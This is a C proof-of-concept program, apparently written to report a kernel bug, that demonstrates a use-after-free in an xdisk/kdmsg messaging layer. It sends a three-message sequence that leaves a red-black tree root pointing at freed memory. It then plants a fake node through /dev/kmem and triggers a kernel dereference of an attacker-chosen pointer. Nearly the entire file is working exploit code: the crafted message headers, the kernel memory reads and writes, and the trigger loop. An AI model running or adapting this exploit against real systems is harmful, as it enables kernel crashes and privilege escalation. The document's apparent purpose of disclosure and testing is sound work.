/*
 * DF-5825 escalation demo: after the peer-only 3-message attack
 * (msg1 XX3|CREATE, msg2 XX3|REPLY|CREATE inject, msg3 XX3|REPLY|DELETE
 * wrong-tree RB_REMOVE), staterd_tree.rbh_root dangles at the freed
 * kdmsg_state.  This rig writes a fake rbnode into the freed chunk via
 * /dev/kmem (standing in for heap-groom reclaim, which an attacker
 * achieves with patience), then sends one more peer message - the
 * kernel's RB_FIND walks the dangling root into the fake node and
 * dereferences a fully attacker-chosen pointer (0x4242424242424242).
 *
 * Expected: Fatal page/general protection fault, fault address =
 * 0x4242424242424242 (+88 for the iocom field read by kdmsg_state_cmp).
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <poll.h>
#include <stdarg.h>

struct dmsg_hdr {
	uint16_t magic, reserved02;
	uint32_t salt;
	uint64_t msgid, circuit, link_verifier;
	uint32_t cmd, aux_crc, aux_bytes, error;
	uint64_t aux_descr;
	uint32_t reserved38, hdr_crc;
};
#define DMSGF_CREATE	0x80000000u
#define DMSGF_DELETE	0x40000000u
#define DMSGF_REPLY	0x20000000u
#define XX3_CMD		0x00300101u

struct xdisk_attach_ioctl { int fd; int unused01; int32_t r2[8]; };
#define XDISKIOCATTACH	_IOWR('X', 0, struct xdisk_attach_ioctl)

static int sv[2], xd, kmem, cons = -1;

static void
clog(const char *fmt, ...)
{
	va_list ap;
	char buf[512];

	va_start(ap, fmt);
	vsnprintf(buf, sizeof(buf), fmt, ap);
	va_end(ap);
	printf("%s", buf);
	fflush(stdout);
	if (cons >= 0)
		dprintf(cons, "%s", buf);
}

static int
kread(uint64_t a, void *b, size_t l)
{ return pread(kmem, b, l, (off_t)a) == (ssize_t)l ? 0 : -1; }

static int
kwrite(uint64_t a, const void *b, size_t l)
{ return pwrite(kmem, b, l, (off_t)a) == (ssize_t)l ? 0 : -1; }

static uint64_t
kread64(uint64_t a)
{ uint64_t v = 0; kread(a, &v, 8); return v; }

static void
send_msg(uint32_t cmd, uint64_t msgid)
{
	unsigned char buf[64];
	struct dmsg_hdr *h = (struct dmsg_hdr *)buf;

	memset(buf, 0, 64);
	h->magic = 0x4832;
	h->msgid = msgid;
	h->cmd = cmd;
	if (write(sv[1], buf, 64) != 64) { perror("write"); exit(1); }
}

static int
recv_msg(struct dmsg_hdr *out, int ms)
{
	struct pollfd p = { .fd = sv[1], .events = POLLIN };
	unsigned char ext[2048];

	if (poll(&p, 1, ms) <= 0)
		return -1;
	if (read(sv[1], out, 64) != 64) { perror("rhdr"); exit(1); }
	{
		size_t hb = (out->cmd & 0xff) * 64, got = 0, ab;
		if (hb > 64 && hb <= 2048)
			while (got < hb - 64)
				got += read(sv[1], ext, hb - 64 - got);
		ab = out->aux_bytes ? (out->aux_bytes + 63) & ~63 : 0;
		while (ab) {
			size_t n = read(sv[1], ext, ab > 2048 ? 2048 : ab);
			if (n <= 0) break;
			ab -= n;
		}
	}
	return 0;
}

int
main(void)
{
	struct xdisk_attach_ioctl xa;
	struct dmsg_hdr h;
	uint64_t msgid1 = 0x41414100beef0001ULL;
	uint64_t conn_state, iocom, sroot;
	uint64_t fake[20];	/* 160 bytes */
	int i;

	kmem = open("/dev/kmem", O_RDWR);
	if (kmem < 0) { perror("/dev/kmem"); return 1; }
	cons = open("/dev/console", O_WRONLY);
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("sp"); return 1; }
	xd = open("/dev/xdisk", O_RDWR);
	if (xd < 0) { perror("xdisk"); return 1; }
	memset(&xa, 0, sizeof(xa));
	xa.fd = sv[0];
	if (ioctl(xd, XDISKIOCATTACH, &xa) < 0) { perror("attach"); return 1; }

	conn_state = 0;
	while (recv_msg(&h, 800) == 0)
		conn_state = h.msgid;
	if (!conn_state) { printf("no CONN\n"); return 1; }
	iocom = kread64(conn_state + 88);
	clog("conn_state=%016jx iocom=%016jx\n",
	    (uintmax_t)conn_state, (uintmax_t)iocom);

	/* peer-only attack */
	send_msg(XX3_CMD | DMSGF_CREATE, msgid1);
	while (recv_msg(&h, 800) == 0)
		;
	usleep(300000);
	send_msg(XX3_CMD | DMSGF_REPLY | DMSGF_CREATE, msgid1);
	usleep(300000);
	send_msg(XX3_CMD | DMSGF_REPLY | DMSGF_DELETE, msgid1);
	usleep(500000);
	while (recv_msg(&h, 300) == 0)
		;

	sroot = kread64(iocom + 312);
	clog("after attack: staterd.root=%016jx statewr.root=%016jx\n",
	    (uintmax_t)sroot, (uintmax_t)kread64(iocom + 336));
	if ((uint32_t)kread64(sroot + 104) != 0 || kread64(sroot + 120) != msgid1) {
		clog("root not the freed state - abort\n");
		return 1;
	}
	clog("dangling root at freed state %016jx confirmed (refs=0)\n",
	    (uintmax_t)sroot);

	/*
	 * Simulate heap-groom reclaim: place a fake rbnode in the freed
	 * chunk.  rbe_left/rbe_right fully controlled; iocom/msgid zero so
	 * kdmsg_state_cmp routes the walk to rbe_right.
	 */
	memset(fake, 0, sizeof(fake));
	fake[0] = 0x4141414141414141ULL;	/* rbe_left  @ +0  */
	fake[1] = 0x4242424242424242ULL;	/* rbe_right @ +8  */
	if (kwrite(sroot, fake, sizeof(fake)) < 0) {
		perror("kmem write"); return 1;
	}
	clog("fake rbnode planted at freed chunk; sending trigger\n");

	/* trigger: any new transaction walks the poisoned tree */
	for (i = 0; i < 4; i++) {
		send_msg(XX3_CMD | DMSGF_CREATE, 0x51510000cafe0000ULL + i);
		usleep(400000);
		while (recv_msg(&h, 300) == 0)
			;
	}
	clog("NO-PANIC\n");
	return 0;
}